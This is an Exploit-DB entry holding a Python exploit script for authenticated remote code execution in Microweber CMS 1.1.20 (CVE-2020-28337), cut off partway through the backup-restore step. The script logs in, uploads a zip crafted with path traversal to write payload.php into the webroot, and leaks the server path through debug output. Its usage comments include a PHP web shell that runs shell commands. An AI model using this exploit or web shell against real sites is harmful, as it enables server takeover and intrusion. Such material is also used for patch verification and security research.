Exploit-DB #49856
Description: Microweber CMS 1.1.20 - Remote Code Execution (Authenticated)
Type: webapps
Platform: php
Date: 2021-05-10
Author: sl1nki

Exploit:
# Exploit Title: Microweber CMS 1.1.20 - Remote Code Execution (Authenticated) 
# Date: 2020-10-31
# Exploit Author: sl1nki
# Vendor Homepage: https://microweber.org/
# Software Link: https://github.com/microweber/microweber/tree/1.1.20
# Version: <=1.1.20
# Tested on: Ubuntu 18.04
# CVE : CVE-2020-28337
#
# Example usage with default phpinfo() payload:
#     ./microweber_rce.py \
#         --hostname "http://microwebertest.com" \
#         --username "admin" \
#         --password "password123"
#
#
# Example usage with custom payload (shell_exec):
#     ./microweber_rce.py \
#         --hostname "http://microwebertest.com" \
#         --username "admin" \
#         --password "password123" \
#         --payload '<?php if (isset($_REQUEST["fexec"])) {echo "<pre>" . shell_exec($_REQUEST["fexec"]) . "</pre>";} ?>'
#
# Notes:
#   * SSL verification is disabled by default
#   * If for some reason the --target-path "/userfiles/cache

#!/usr/bin/python3

#/" doesn't work, "/userfiles/modules/" is a good one too.
#
#
#


import argparse
import re
import requests
import sys
import zipfile

from io import BytesIO

# Disable insecure SSL warnings
requests.packages.urllib3.disable_warnings()

class Microweber():
    def __init__(self, baseUrl, proxies=None):
        self.baseUrl = baseUrl
        self.proxies = proxies
        self.cookies = None

        self.loginUrl = "/api/user_login"
        self.uploadUrl = "/plupload"
        self.moveZipToBackupUrl = "/api/Microweber/Utils/Backup/move_uploaded_file_to_backup"
        self.restoreBackupUrl = "/api/Microweber/Utils/Backup/restore"

        self.targetPath = "/userfiles/cache/"
        self.targetFilename = "payload.php"
        self.zipPayloadName = "payload.zip"

    def makePostRequest(self, url, data=None, files=None, headers=None):
        return requests.post(self.baseUrl + url,
            data=data,
            files=files,
            headers=headers,
            cookies=self.cookies,
            proxies=self.proxies,
            verify=False
        )

    def makeGetRequest(self, url, params=None):
        return requests.post(self.baseUrl + url,
            params=params,
            cookies=self.cookies,
            proxies=self.proxies,
            verify=False
        )

    def login(self, username, password):
        res = self.makePostRequest(self.loginUrl, data={
            "username": username,
            "password": password
        })

        if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == "You are logged in!":
            print(f"[+] Successfully logged in as {username}")
            self.cookies = res.cookies
        else:
            print(f"[-] Unable to login.  Status Code: {res.status_code}")
            sys.exit(-1)

    def createZip(self, path=None, filename=None, payload=None):
        # In-memory adaptation of ptoomey3's evilarc

    # https://github.com/ptoomey3/evilarc

        if payload == None:
            payload = "<?php phpinfo(); ?>"

        zd = BytesIO()
        zf = zipfile.ZipFile(zd, "w")

        # The custom Unzip class uses a path under the webroot for cached file extraction
        # /storage/cache/backup_restore/<md5 hash>/
        # so moving up 4 directories puts us at the webroot
        zf.writestr(f"../../../..{path}{filename}", payload)
        zf.close()
        return zd

    def uploadZip(self, zipData):
        # Upload the zip data as a general file

        res = self.makePostRequest(self.uploadUrl,
            headers={"Referer": ""},
            data={
                "name": self.zipPayloadName,
                "chunk": 0,
                "chunks": 1
            },
            files={"file": (self.zipPayloadName, zipData.getvalue(), "application/zip")}
        )

        if res.status_code == 200:
            print(f"[+] Successfully uploaded: {self.zipPayloadName}")
            j = res.json()
            print(f"[+]     URL: {j['src']}")
            print(f"[+]     Resulting Filename: {j['name']}")
            self.zipPayloadName = j['name']
        else:
            print(f"[-] Unable to upload: {self.zipPayloadName} (Status Code: {res.status_code})")
            sys.exit(-1)

    def getAbsoluteWebRoot(self):
        # Determine the webroot using the debug output and the DefaultController.php path
        res = self.makeGetRequest("", params={
            "debug": "true"
        })

        if res.status_code != 200:
            print(f"[-] Unable to collect debug information.  Bad server response: {res.status_code}")
            sys.exit(-1)

        target = "src/Microweber/Controllers/DefaultController.php"
        m = re.findall('([\/\w]+)\/src\/Microweber\/Controllers\/DefaultController\.php', res.text)
        if len(m) == 1:
            return m[0]
        else:
            print(f"[-] Unable to determine the webroot using {target}.  Found {len(m)} matches")

    def moveZipToBackup(self):
        # Move the uploaded zip file into the backup directory

        webRoot = self.getAbsoluteWebRoot()
        hostname = self.baseUrl.split("//")[1]

        src = f"{webRoot}/userfiles/media/{hostname}/{self.zipPayloadName}"
        res = self.makeGetRequest(self.moveZipToBackupUrl, params={
            "src": src
        })

        if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == f"{self.zipPayloadName} was uploaded!":
            print(f"[+] Successfully moved {self.zipPayloadName} to backup")
        else:
            print(f"[-] Unable to move zip to backup ({res.status_code})")
            sys.exit(-1)

    def restoreBackup(self, filename):
        # With the zip file in the backup directory, 'restore' it, which will cause it to be extracted unsafely

        res = self.makePostRequest(self.restoreBackupUrl, data={

       "id":